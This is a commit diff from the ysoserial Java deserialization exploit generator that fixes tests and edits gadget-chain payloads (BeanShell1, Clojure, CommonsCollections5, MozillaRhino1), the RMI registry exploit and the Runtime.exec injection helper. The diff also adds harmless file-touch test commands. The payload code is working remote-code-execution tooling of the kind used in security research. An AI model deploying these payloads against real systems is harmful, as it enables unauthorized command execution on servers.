fixed broken tests

This commit is contained in:
Chris Frohoff
2017-09-03 23:40:17 -07:00
parent 8a330853c6
commit 80b0d2f368
21 changed files with 261 additions and 136 deletions
@@ -335,6 +335,7 @@ public class JBoss {
public void close () throws SecurityException {} public void close () throws SecurityException {}
} }
@SuppressWarnings({"deprecation"})
private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext { private static final class ConnectionHandlerContextImpl implements ConnectionHandlerContext {
private ConnectionProviderContextImpl context; private ConnectionProviderContextImpl context;
@@ -293,6 +293,7 @@ public class JRMPListener implements Runnable {
} }
} }
@SuppressWarnings({"deprecation"})
protected static Object makeDummyObject (String className) { protected static Object makeDummyObject (String className) {
try { try {
ClassLoader isolation = new ClassLoader() {}; ClassLoader isolation = new ClassLoader() {};
@@ -35,7 +35,7 @@ public class RMIRegistryExploit {
public static void exploit(final Registry registry, public static void exploit(final Registry registry,
final Class<? extends ObjectPayload> payloadClass, final Class<? extends ObjectPayload> payloadClass,
final String command) throws Exception { final String command) throws Exception {
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception { new ExecCheckingSecurityManager().callWrapped(new Callable<Void>(){public Void call() throws Exception {
ObjectPayload payloadObj = payloadClass.newInstance(); ObjectPayload payloadObj = payloadClass.newInstance();
Object payload = payloadObj.getObject(command); Object payload = payloadObj.getObject(command);
String name = "pwned" + System.nanoTime(); String name = "pwned" + System.nanoTime();
@@ -5,9 +5,11 @@ import bsh.XThis;
import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy; import java.lang.reflect.Proxy;
import java.util.Arrays;
import java.util.Comparator; import java.util.Comparator;
import java.util.PriorityQueue; import java.util.PriorityQueue;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
@@ -24,7 +26,13 @@ public class BeanShell1 extends PayloadRunner implements ObjectPayload<PriorityQ
public PriorityQueue getObject(String command) throws Exception { public PriorityQueue getObject(String command) throws Exception {
// BeanShell payload // BeanShell payload
String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{\"" + command + "\"}).start();return new Integer(1);}";
String payload =
"compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" +
Strings.join( // does not support spaces in quotes
Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")),
",", "\"", "\"") +
"}).start();return new Integer(1);}";
// Create Interpreter // Create Interpreter
Interpreter i = new Interpreter(); Interpreter i = new Interpreter();
+20 -10
View File
@@ -2,10 +2,12 @@ package ysoserial.payloads;
import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a;
import clojure.lang.PersistentArrayMap; import clojure.lang.PersistentArrayMap;
import ysoserial.Strings;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import java.util.Arrays;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
@@ -28,18 +30,26 @@ public class Clojure extends PayloadRunner implements ObjectPayload<Map<?, ?>> {
public Map<?, ?> getObject(final String command) throws Exception { public Map<?, ?> getObject(final String command) throws Exception {
final String[] execArgs = command.split(" "); // final String[] execArgs = command.split(" ");
final StringBuilder commandArgs = new StringBuilder(); // final StringBuilder commandArgs = new StringBuilder();
for (String arg : execArgs) { // for (String arg : execArgs) {
commandArgs.append("\" \""); // commandArgs.append("\" \"");
commandArgs.append(arg); // commandArgs.append(arg);
} // }
commandArgs.append("\""); // commandArgs.append("\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
Map<String, Object> fnMap = new HashMap<String, Object>(); // final String clojurePayload =
// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2));
String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\"");
final String clojurePayload =
String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd);
Map<String, Object> fnMap = new HashMap<String, Object>();
fnMap.put("hashCode", new clojure.core$constantly().invoke(0)); fnMap.put("hashCode", new clojure.core$constantly().invoke(0));
AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a();
@@ -18,6 +18,7 @@ import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import ysoserial.payloads.util.Reflections; import ysoserial.payloads.util.Reflections;
@@ -43,10 +44,16 @@ import ysoserial.payloads.util.Reflections;
Requires: Requires:
commons-collections commons-collections
*/ */
@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()") /*
This only works in JDK 8u76 and WITHOUT a security manager
https://github.com/JetBrains/jdk8u_jdk/commit/af2361ee2878302012214299036b3a8b4ed36974#diff-f89b1641c408b60efe29ee513b3d22ffR70
*/
//@PayloadTest(skip="need more robust way to detect Runtime.exec() without SecurityManager()")
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest ( precondition = "isApplicableJavaVersion")
@Dependencies({"commons-collections:commons-collections:3.1"}) @Dependencies({"commons-collections:commons-collections:3.1"})
@Authors({ Authors.FROHOFF }) @Authors({ Authors.MATTHIASKAISER, Authors.JASINNER })
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> { public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { public BadAttributeValueExpException getObject(final String command) throws Exception {
@@ -86,4 +93,9 @@ public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(CommonsCollections5.class, args); PayloadRunner.run(CommonsCollections5.class, args);
} }
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
} }
@@ -4,7 +4,9 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.mozilla.javascript.*; import org.mozilla.javascript.*;
import ysoserial.payloads.annotation.Authors; import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies; import ysoserial.payloads.annotation.Dependencies;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.Gadgets; import ysoserial.payloads.util.Gadgets;
import ysoserial.payloads.util.JavaVersion;
import ysoserial.payloads.util.PayloadRunner; import ysoserial.payloads.util.PayloadRunner;
import javax.management.BadAttributeValueExpException; import javax.management.BadAttributeValueExpException;
@@ -16,6 +18,7 @@ import java.lang.reflect.Method;
by @matthias_kaiser by @matthias_kaiser
*/ */
@SuppressWarnings({"rawtypes", "unchecked"}) @SuppressWarnings({"rawtypes", "unchecked"})
@PayloadTest( precondition = "isApplicableJavaVersion")
@Dependencies({"rhino:js:1.7R2"}) @Dependencies({"rhino:js:1.7R2"})
@Authors({ Authors.MATTHIASKAISER }) @Authors({ Authors.MATTHIASKAISER })
public class MozillaRhino1 implements ObjectPayload<Object> { public class MozillaRhino1 implements ObjectPayload<Object> {
@@ -65,4 +68,9 @@ public class MozillaRhino1 implements ObjectPayload<Object> {
public static void main(final String[] args) throws Exception { public static void main(final String[] args) throws Exception {
PayloadRunner.run(MozillaRhino1.class, args); PayloadRunner.run(MozillaRhino1.class, args);
} }
public static boolean isApplicableJavaVersion() {
return JavaVersion.isBadAttrValExcReadObj();
}
} }
@@ -17,6 +17,7 @@ public @interface Authors {
String MATTHIASKAISER = "matthias_kaiser"; String MATTHIASKAISER = "matthias_kaiser";
String GEBL = "gebl" ; String GEBL = "gebl" ;
String JACOBAINES = "jacob-baines"; String JACOBAINES = "jacob-baines";
String JASINNER = "jasinner";
String[] value() default {}; String[] value() default {};
@@ -113,7 +113,10 @@ public class Gadgets {
final CtClass clazz = pool.get(StubTransletPayload.class.getName()); final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer // run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") + "\");"); String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime()); clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName()); CtClass superC = pool.get(abstTranslet.getName());
@@ -32,5 +32,10 @@ public class JavaVersion {
JavaVersion v = JavaVersion.getLocalVersion(); JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71)); return v != null && (v.major < 8 || (v.major == 8 && v.update <= 71));
} }
public static boolean isBadAttrValExcReadObj() {
JavaVersion v = JavaVersion.getLocalVersion();
return v != null && (v.major > 8 && v.update >= 76);
}
} }
@@ -1,6 +1,5 @@
package ysoserial.payloads.util; package ysoserial.payloads.util;
import java.io.File;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import ysoserial.Deserializer; import ysoserial.Deserializer;
@@ -19,7 +18,7 @@ public class PayloadRunner {
public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception {
// ensure payload generation doesn't throw an exception // ensure payload generation doesn't throw an exception
byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ byte[] serialized = new ExecCheckingSecurityManager().callWrapped(new Callable<byte[]>(){
public byte[] call() throws Exception { public byte[] call() throws Exception {
final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd(); final String command = args.length > 0 && args[0] != null ? args[0] : getDefaultTestCmd();
@@ -4,6 +4,7 @@ import java.io.FileDescriptor;
import java.net.InetAddress; import java.net.InetAddress;
import java.security.Permission; import java.security.Permission;
@SuppressWarnings({"deprecation"})
public class DelegateSecurityManager extends SecurityManager { public class DelegateSecurityManager extends SecurityManager {
private SecurityManager securityManager; private SecurityManager securityManager;
@@ -15,7 +16,8 @@ public class DelegateSecurityManager extends SecurityManager {
this.securityManager = securityManager; this.securityManager = securityManager;
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public boolean getInCheck() { public boolean getInCheck() {
return getSecurityManager().getInCheck(); return getSecurityManager().getInCheck();
} }
@@ -47,133 +49,115 @@ public class DelegateSecurityManager extends SecurityManager {
@Override @Override
public void checkAccess(ThreadGroup g) { public void checkAccess(ThreadGroup g) {
getSecurityManager().checkAccess(g); getSecurityManager().checkAccess(g);
} }
@Override @Override
public void checkExit(int status) { public void checkExit(int status) {
getSecurityManager().checkExit(status); getSecurityManager().checkExit(status);
} }
@Override @Override
public void checkExec(String cmd) { public void checkExec(String cmd) {
getSecurityManager().checkExec(cmd); getSecurityManager().checkExec(cmd);
} }
@Override @Override
public void checkLink(String lib) { public void checkLink(String lib) {
getSecurityManager().checkLink(lib); getSecurityManager().checkLink(lib);
} }
@Override @Override
public void checkRead(FileDescriptor fd) { public void checkRead(FileDescriptor fd) {
getSecurityManager().checkRead(fd); getSecurityManager().checkRead(fd);
} }
@Override @Override
public void checkRead(String file) { public void checkRead(String file) {
getSecurityManager().checkRead(file); getSecurityManager().checkRead(file);
} }
@Override @Override
public void checkRead(String file, Object context) { public void checkRead(String file, Object context) {
getSecurityManager().checkRead(file, context); getSecurityManager().checkRead(file, context);
} }
@Override @Override
public void checkWrite(FileDescriptor fd) { public void checkWrite(FileDescriptor fd) {
getSecurityManager().checkWrite(fd); getSecurityManager().checkWrite(fd);
} }
@Override @Override
public void checkWrite(String file) { public void checkWrite(String file) {
getSecurityManager().checkWrite(file); getSecurityManager().checkWrite(file);
} }
@Override @Override
public void checkDelete(String file) { public void checkDelete(String file) {
getSecurityManager().checkDelete(file); getSecurityManager().checkDelete(file);
} }
@Override @Override
public void checkConnect(String host, int port) { public void checkConnect(String host, int port) {
getSecurityManager().checkConnect(host, port); getSecurityManager().checkConnect(host, port);
} }
@Override @Override
public void checkConnect(String host, int port, Object context) { public void checkConnect(String host, int port, Object context) {
getSecurityManager().checkConnect(host, port, context); getSecurityManager().checkConnect(host, port, context);
} }
@Override @Override
public void checkListen(int port) { public void checkListen(int port) {
getSecurityManager().checkListen(port); getSecurityManager().checkListen(port);
} }
@Override @Override
public void checkAccept(String host, int port) { public void checkAccept(String host, int port) {
getSecurityManager().checkAccept(host, port); getSecurityManager().checkAccept(host, port);
} }
@Override @Override
public void checkMulticast(InetAddress maddr) { public void checkMulticast(InetAddress maddr) {
getSecurityManager().checkMulticast(maddr); getSecurityManager().checkMulticast(maddr);
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public void checkMulticast(InetAddress maddr, byte ttl) { public void checkMulticast(InetAddress maddr, byte ttl) {
getSecurityManager().checkMulticast(maddr, ttl); getSecurityManager().checkMulticast(maddr, ttl);
} }
@Override @Override
public void checkPropertiesAccess() { public void checkPropertiesAccess() {
getSecurityManager().checkPropertiesAccess(); getSecurityManager().checkPropertiesAccess();
} }
@Override @Override
public void checkPropertyAccess(String key) { public void checkPropertyAccess(String key) {
getSecurityManager().checkPropertyAccess(key); getSecurityManager().checkPropertyAccess(key);
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public boolean checkTopLevelWindow(Object window) { public boolean checkTopLevelWindow(Object window) {
return getSecurityManager().checkTopLevelWindow(window); return getSecurityManager().checkTopLevelWindow(window);
} }
@Override @Override
public void checkPrintJobAccess() { public void checkPrintJobAccess() {
getSecurityManager().checkPrintJobAccess(); getSecurityManager().checkPrintJobAccess();
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public void checkSystemClipboardAccess() { public void checkSystemClipboardAccess() {
getSecurityManager().checkSystemClipboardAccess(); getSecurityManager().checkSystemClipboardAccess();
} }
@Override @SuppressWarnings({"deprecation"})
@Override
public void checkAwtEventQueueAccess() { public void checkAwtEventQueueAccess() {
getSecurityManager().checkAwtEventQueueAccess(); getSecurityManager().checkAwtEventQueueAccess();
} }
@@ -185,31 +169,27 @@ public class DelegateSecurityManager extends SecurityManager {
@Override @Override
public void checkPackageDefinition(String pkg) { public void checkPackageDefinition(String pkg) {
getSecurityManager().checkPackageDefinition(pkg); getSecurityManager().checkPackageDefinition(pkg);
} }
@Override @Override
public void checkSetFactory() { public void checkSetFactory() {
getSecurityManager().checkSetFactory(); getSecurityManager().checkSetFactory();
} }
@SuppressWarnings({"deprecation"})
@Override @Override
public void checkMemberAccess(Class<?> clazz, int which) { public void checkMemberAccess(Class<?> clazz, int which) {
getSecurityManager().checkMemberAccess(clazz, which); getSecurityManager().checkMemberAccess(clazz, which);
} }
@Override @Override
public void checkSecurityAccess(String target) { public void checkSecurityAccess(String target) {
getSecurityManager().checkSecurityAccess(target); getSecurityManager().checkSecurityAccess(target);
} }
@Override @Override
public ThreadGroup getThreadGroup() { public ThreadGroup getThreadGroup() {
return getSecurityManager().getThreadGroup(); return getSecurityManager().getThreadGroup();
} }
} }
@@ -56,8 +56,8 @@ public class ExecCheckingSecurityManager extends SecurityManager {
} }
} }
public void wrap(final Runnable runnable) throws Exception { public void callWrapped(final Runnable runnable) throws Exception {
wrap(new Callable<Void>(){ callWrapped(new Callable<Void>(){
public Void call() throws Exception { public Void call() throws Exception {
runnable.run(); runnable.run();
return null; return null;
@@ -65,7 +65,7 @@ public class ExecCheckingSecurityManager extends SecurityManager {
}); });
} }
public <T> T wrap(final Callable<T> callable) throws Exception { public <T> T callWrapped(final Callable<T> callable) throws Exception {
SecurityManager sm = System.getSecurityManager(); // save sm SecurityManager sm = System.getSecurityManager(); // save sm
System.setSecurityManager(this); System.setSecurityManager(this);
try { try {
@@ -0,0 +1,40 @@
package ysoserial.payloads;
import org.junit.Assert;
import ysoserial.CustomTest;
import ysoserial.util.Files;
import ysoserial.util.OS;
import java.io.File;
import java.util.UUID;
import java.util.concurrent.Callable;
public class CommandExecTest implements CustomTest {
private final File testFile =
new File(OS.getTmpDir(), "ysoserial-test-" + UUID.randomUUID().toString().replaceAll("-", ""));
@Override
public void run(Callable<Object> payload) throws Exception {
Assert.assertFalse("test file should not exist", testFile.exists());
Exception err;
try {
payload.call();
} catch (Exception e) {
e.printStackTrace();
}
Files.waitForFile(testFile, 1000);
Assert.assertTrue("test file should exist", testFile.exists());
testFile.deleteOnExit();
}
@Override
public String getPayloadArgs() {
switch (OS.get()) {
case OSX:
case LINUX: return "touch " + testFile;
case WINDOWS: return "powershell -command new-item -type file " + testFile;
default: throw new UnsupportedOperationException("unsupported os");
}
}
}
@@ -10,6 +10,7 @@ import org.junit.Assert;
import com.google.common.io.Files; import com.google.common.io.Files;
import ysoserial.CustomTest; import ysoserial.CustomTest;
import ysoserial.util.OS;
/** /**
* @author mbechler * @author mbechler
@@ -51,7 +52,7 @@ public class FileUploadTest implements CustomTest {
break; break;
} }
Assert.assertNotNull("File not copied", found); Assert.assertNotNull("File not copied", found);
if (!System.getProperty("os.name", "unknown").contains("Windows")) { if (OS.get() != OS.WINDOWS) {
// windows' file locking seems to cause this to fail // windows' file locking seems to cause this to fail
Assert.assertFalse("Source not deleted", this.source.exists()); Assert.assertFalse("Source not deleted", this.source.exists());
} }
@@ -59,11 +60,11 @@ public class FileUploadTest implements CustomTest {
} finally { } finally {
if ( this.repo.exists()) { if ( this.repo.exists()) {
for ( File f : this.repo.listFiles()) { for ( File f : this.repo.listFiles()) {
f.delete(); f.deleteOnExit();
} }
this.repo.delete(); this.repo.deleteOnExit();
} }
this.source.delete(); this.source.deleteOnExit();
} }
} }
@@ -1,8 +1,6 @@
package ysoserial.payloads; package ysoserial.payloads;
import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIALIZE_TRANSLET;
import java.io.File; import java.io.File;
import java.lang.reflect.InvocationTargetException; import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method; import java.lang.reflect.Method;
@@ -12,13 +10,10 @@ import java.util.Arrays;
import java.util.Set; import java.util.Set;
import java.util.concurrent.Callable; import java.util.concurrent.Callable;
import org.hamcrest.CoreMatchers;
import org.jboss.shrinkwrap.resolver.api.maven.Maven; import org.jboss.shrinkwrap.resolver.api.maven.Maven;
import org.junit.Assert; import org.junit.Assert;
import org.junit.Assume; import org.junit.Assume;
import org.junit.Rule;
import org.junit.Test; import org.junit.Test;
import org.junit.contrib.java.lang.system.ProvideSecurityManager;
import org.junit.runner.RunWith; import org.junit.runner.RunWith;
import org.junit.runners.Parameterized; import org.junit.runners.Parameterized;
import org.junit.runners.Parameterized.Parameters; import org.junit.runners.Parameterized.Parameters;
@@ -28,7 +23,7 @@ import ysoserial.CustomPayloadArgs;
import ysoserial.CustomTest; import ysoserial.CustomTest;
import ysoserial.Deserializer; import ysoserial.Deserializer;
import ysoserial.Serializer; import ysoserial.Serializer;
import ysoserial.Throwables; import ysoserial.util.Throwables;
import ysoserial.WrappedTest; import ysoserial.WrappedTest;
import ysoserial.payloads.TestHarnessTest.ExecMockPayload; import ysoserial.payloads.TestHarnessTest.ExecMockPayload;
import ysoserial.payloads.TestHarnessTest.NoopMockPayload; import ysoserial.payloads.TestHarnessTest.NoopMockPayload;
@@ -52,9 +47,6 @@ TODO: figure out better way to test exception behavior than comparing messages
@RunWith ( Parameterized.class ) @RunWith ( Parameterized.class )
public class PayloadsTest { public class PayloadsTest {
private static final String ASSERT_MESSAGE = "should have thrown " + ExecException.class.getSimpleName();
@Parameters ( name = "payloadClass: {0}" ) @Parameters ( name = "payloadClass: {0}" )
public static Class<? extends ObjectPayload<?>>[] payloads () { public static Class<? extends ObjectPayload<?>>[] payloads () {
Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses(); Set<Class<? extends ObjectPayload>> payloadClasses = ObjectPayload.Utils.getPayloadClasses();
@@ -89,57 +81,43 @@ public class PayloadsTest {
} }
if ( !t.precondition().isEmpty() ) { if ( !t.precondition().isEmpty() ) {
Assume.assumeTrue("Precondition", checkPrecondition(payloadClass, t.precondition())); Assume.assumeTrue("Precondition: " + t.precondition(), checkPrecondition(payloadClass, t.precondition()));
} }
} }
String payloadCommand = command; String payloadCommand = command;
Class<?> customDeserializer = null; Class<?> customDeserializer = null;
Object wrapper = null; Object testHarness = null;
if ( t != null && !t.harness().isEmpty() ) { if ( t != null && !t.harness().isEmpty() ) {
Class<?> wrapperClass = Class.forName(t.harness()); Class<?> testHarnessClass = Class.forName(t.harness());
try { try {
wrapper = wrapperClass.getConstructor(String.class).newInstance(command); testHarness = testHarnessClass.getConstructor(String.class).newInstance(command);
} catch ( NoSuchMethodException e ) { } catch ( NoSuchMethodException e ) {
wrapper = wrapperClass.newInstance(); testHarness = testHarnessClass.newInstance();
} }
} else {
testHarness = new CommandExecTest(); // default
}
if ( wrapper instanceof CustomPayloadArgs ) { if ( testHarness instanceof CustomPayloadArgs ) {
payloadCommand = ( (CustomPayloadArgs) wrapper ).getPayloadArgs(); payloadCommand = ( (CustomPayloadArgs) testHarness ).getPayloadArgs();
} }
if ( wrapper instanceof CustomDeserializer ) { if ( testHarness instanceof CustomDeserializer ) {
customDeserializer = ((CustomDeserializer)wrapper).getCustomDeserializer(); customDeserializer = ((CustomDeserializer)testHarness).getCustomDeserializer();
}
} }
ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager(); ExecCheckingSecurityManager sm = new ExecCheckingSecurityManager();
final byte[] serialized = sm.wrap(makeSerializeCallable(payloadClass, payloadCommand)); final byte[] serialized = sm.callWrapped(makeSerializeCallable(payloadClass, payloadCommand));
Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer); Callable<Object> callable = makeDeserializeCallable(t, addlClassesForClassLoader, deps, serialized, customDeserializer);
if ( wrapper instanceof WrappedTest ) { if ( testHarness instanceof WrappedTest ) {
callable = ( (WrappedTest) wrapper ).createCallable(callable); callable = ( (WrappedTest) testHarness ).createCallable(callable);
} }
if ( wrapper instanceof CustomTest ) { if ( testHarness instanceof CustomTest ) {
( (CustomTest) wrapper ).run(callable); ( (CustomTest) testHarness ).run(callable);
return; return;
} }
try {
Object deserialized = sm.wrap(callable);
//Assert.fail(ASSERT_MESSAGE); // should never get here
}
catch ( Throwable e ) {
// hopefully everything will reliably nest our ExecException
Throwable innerEx = Throwables.getInnermostCause(e);
if ( ! ( innerEx instanceof ExecException ) ) {
innerEx.printStackTrace();
}
//Assert.assertEquals(ExecException.class, innerEx.getClass());
//Assert.assertEquals(command, ( (ExecException) innerEx ).getCmd());
}
Assert.assertEquals(Arrays.asList(command), sm.getCmds());
} }
@@ -16,7 +16,7 @@ public class TestHarnessTest {
PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]);
Assert.fail("should have failed"); Assert.fail("should have failed");
} catch (AssertionError e) { } catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>")); Assert.assertThat(e.getMessage(), CoreMatchers.containsString("test file should exist"));
} }
} }
@@ -28,7 +28,7 @@ public class TestHarnessTest {
PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]);
Assert.fail("should have failed"); Assert.fail("should have failed");
} catch (AssertionError e) { } catch (AssertionError e) {
Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); //Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException"));
} }
} }
@@ -55,9 +55,10 @@ public class TestHarnessTest {
private final String cmd; private final String cmd;
public ExecMockSerializable(String cmd) { this.cmd = cmd; } public ExecMockSerializable(String cmd) { this.cmd = cmd; }
private void readObject(final ObjectInputStream ois) { private void readObject(final ObjectInputStream ois) throws IOException, ClassNotFoundException {
ois.defaultReadObject();
try { try {
Runtime.getRuntime().exec("hostname"); Runtime.getRuntime().exec(cmd);
} catch (IOException e) { } catch (IOException e) {
throw new RuntimeException(e); throw new RuntimeException(e);
} }
@@ -0,0 +1,34 @@
package ysoserial.util;
import java.util.concurrent.Callable;
public class Callables {
public static interface BeforeAfterCallback {
public void before();
public void after();
}
public static class Wrapper<T> implements Callable<T> {
private final Callable<T> callable;
private final BeforeAfterCallback callback;
public Wrapper(Callable<T> callable, BeforeAfterCallback callback) {
this.callable = callable;
this.callback = callback;
}
@Override
public T call() throws Exception {
try {
callback.before();
return callable.call();
} finally {
callback.after();
}
}
}
public static <T> Callable<T> wrap(Callable<T> callable, BeforeAfterCallback callback) {
return new Wrapper<T>(callable, callback);
}
}
+12
View File
@@ -0,0 +1,12 @@
package ysoserial.util;
import java.io.File;
public class Files {
public static void waitForFile(File file, int timeoutMs) throws InterruptedException {
long timeout = System.currentTimeMillis() + timeoutMs;
while (! file.exists() && System.currentTimeMillis() < timeout) {
Thread.sleep(10);
}
}
}
+31
View File
@@ -0,0 +1,31 @@
package ysoserial.util;
public enum OS {
WINDOWS,
LINUX,
OSX,
OTHER;
private static final OS os = determineOs();
public static OS get() {
return os;
}
private static OS determineOs() {
String osName = System.getProperty("os.name", "other").toLowerCase();
if (osName.contains("windows")) {
return WINDOWS;
} else if (osName.contains("mac os x")) {
return OSX;
} else if (osName.contains("linux")) {
return LINUX;
} else {
return OTHER;
}
}
public static String getTmpDir() {
return System.getProperty("java.io.tmpdir");
}
}
@@ -1,4 +1,4 @@
package ysoserial; package ysoserial.util;
public class Throwables { public class Throwables {
public static Throwable getInnermostCause(final Throwable t) { public static Throwable getInnermostCause(final Throwable t) {